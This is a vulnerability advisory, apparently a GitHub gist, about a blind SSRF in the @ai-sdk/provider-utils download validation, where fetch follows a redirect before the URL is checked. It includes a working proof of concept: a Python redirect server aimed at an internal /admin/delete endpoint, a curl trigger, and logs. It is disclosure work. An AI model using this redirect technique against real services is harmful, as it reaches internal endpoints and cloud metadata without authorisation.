Skip to content

Instantly share code, notes, and snippets.

@YLChen-007
Created April 4, 2026 14:43
Show Gist options
  • Select an option

  • Save YLChen-007/cf7e47e4dda392f474ca77a66d1d847f to your computer and use it in GitHub Desktop.

Select an option

Save YLChen-007/cf7e47e4dda392f474ca77a66d1d847f to your computer and use it in GitHub Desktop.
Blind SSRF via HTTP Redirects in `validateDownloadUrl` (Redirect Following Bypass)

Advisory Details

Title: Blind SSRF via HTTP Redirects in validateDownloadUrl (Redirect Following Bypass)

Description:

Summary

An incomplete fix in the @ai-sdk/provider-utils package's validateDownloadUrl mechanism allows unauthenticated attackers to perform a blind Server-Side Request Forgery (SSRF) attack. Node.js's native fetch() function automatically follows HTTP redirects (3xx) by default, meaning if an attacker provides a seemingly benign external URL that redirects to an internal/private IP (e.g., 127.0.0.1), the fetch() call successfully executes an HTTP GET request against the internal target before the post-redirect URL validation can check it. This bypasses the SSRF protection mechanism and allows triggering sensitive internal GET endpoints.

Details

The @ai-sdk/provider-utils package exports downloadBlob and download utility functions that attempt to protect against SSRF when fetching external resources (such as user-provided images). The protection relies on validating user-supplied URLs via the validateDownloadUrl() function.

However, fetch handles HTTP redirects transparently under the default redirect: 'follow' behavior. The vulnerability occurs because:

  1. validateDownloadUrl(url) evaluates the attacker's initial URL (e.g., http://attacker.com) and passes because it is not a private IP.
  2. fetch() executes the request to the attacker's server.
  3. The attacker's server responds with an HTTP 302 Found pointing to an internal address (e.g., http://127.0.0.1:8080/admin/delete).
  4. fetch automatically and transparently follows the redirect, immediately executing an HTTP GET request on the internal target.
  5. Once the inner request finishes, the SDK executes the post-flight check: if (response.redirected) validateDownloadUrl(response.url);. While this throws an error and prevents the reading of the response body, the request has already been fully executed on the internal network.

This constitutes a Time-of-Check to Time-of-Use (TOCTOU) logic error leading to Blind SSRF.

PoC

To reproduce this vulnerability, you need an attacker machine (or simply a separate terminal running locally) to act as the malicious redirect server, and the target application running the AI SDK.

  1. Save the following minimal code as poc_redirect_server.py:
from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        # Redirect the AI SDK fetch client to the protected internal localhost payload target
        self.send_header('Location', 'http://127.0.0.1:9091/admin/delete')
        self.end_headers()

print("Attacker server listening on port 9090...")
HTTPServer(('0.0.0.0', 9090), RedirectHandler).serve_forever()
  1. Start the malicious redirect server:
python3 poc_redirect_server.py
  1. Setup a dummy internal listener to prove that the internal subnet receives the requested payload despite the SSRF protections:
python3 -m http.server 9091
  1. Trigger the vulnerability by submitting the attacker server URL to your AI SDK image processing API (assuming it runs on port 3555):
curl -X POST http://localhost:3555/api/image \
  -H "Content-Type: application/json" \
  -d '{"imageUrl": "http://127.0.0.1:9090/redirect"}'

(Note: To perfectly emulate a real-world scenario where the first validation might block loopback, use a custom domain or /etc/hosts pointing attacker.com to 127.0.0.1, and use http://attacker.com:9090/redirect as the imageUrl payload).

Log of Evidence

Attacker server listening on port 9090...
127.0.0.1 - - [30/Mar/2026 13:49:19] "GET /redirect HTTP/1.1" 302 -

Internal Dummy Server Logs (port 9091):
Serving HTTP on 0.0.0.0 port 9091 (http://0.0.0.0:9091/) ...
127.0.0.1 - - [30/Mar/2026 13:49:19] "GET /admin/delete HTTP/1.1" 200 -

Target Application Response:
HTTP/1.1 500 Internal Server Error
{"error":"URL with IP address 127.0.0.1 is not allowed"}

Notice that although the AI SDK ultimately returns an HTTP 500 Error complaining that 127.0.0.1 is not allowed, the GET /admin/delete was already executed successfully on the internal dummy server (port 9091).

Impact

This vulnerability results in Blind Server-Side Request Forgery (Blind SSRF). While attackers cannot read the response body directly, they can manipulate the target server to issue arbitrary HTTP GET requests to adjacent internal microservices, private cloud infrastructure endpoints (e.g., AWS Metadata endpoints at 169.254.169.254), or loopback administrative APIs. If these internal APIs lack strict CSRF tokens or operate simply based on GET parameters to change state, it can lead to internal Denial of Service or unauthorized state changes.

Affected products

  • Ecosystem: npm
  • Package name: @ai-sdk/provider-utils
  • Affected versions: Versions containing the validateDownloadUrl function without disabling redirects.
  • Patched versions:

Severity

  • Severity: High
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

Weaknesses

  • CWE: CWE-918: Server-Side Request Forgery (SSRF)

Occurrences

Permalink Description
https://github.com/vercel/ai/blob/main/packages/provider-utils/src/download-blob.ts#L23-L32 The vulnerable downloadBlob method where fetch is called without redirect: 'manual', allowing the connection to be blindly followed before the validateDownloadUrl(response.url) post-check executes.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment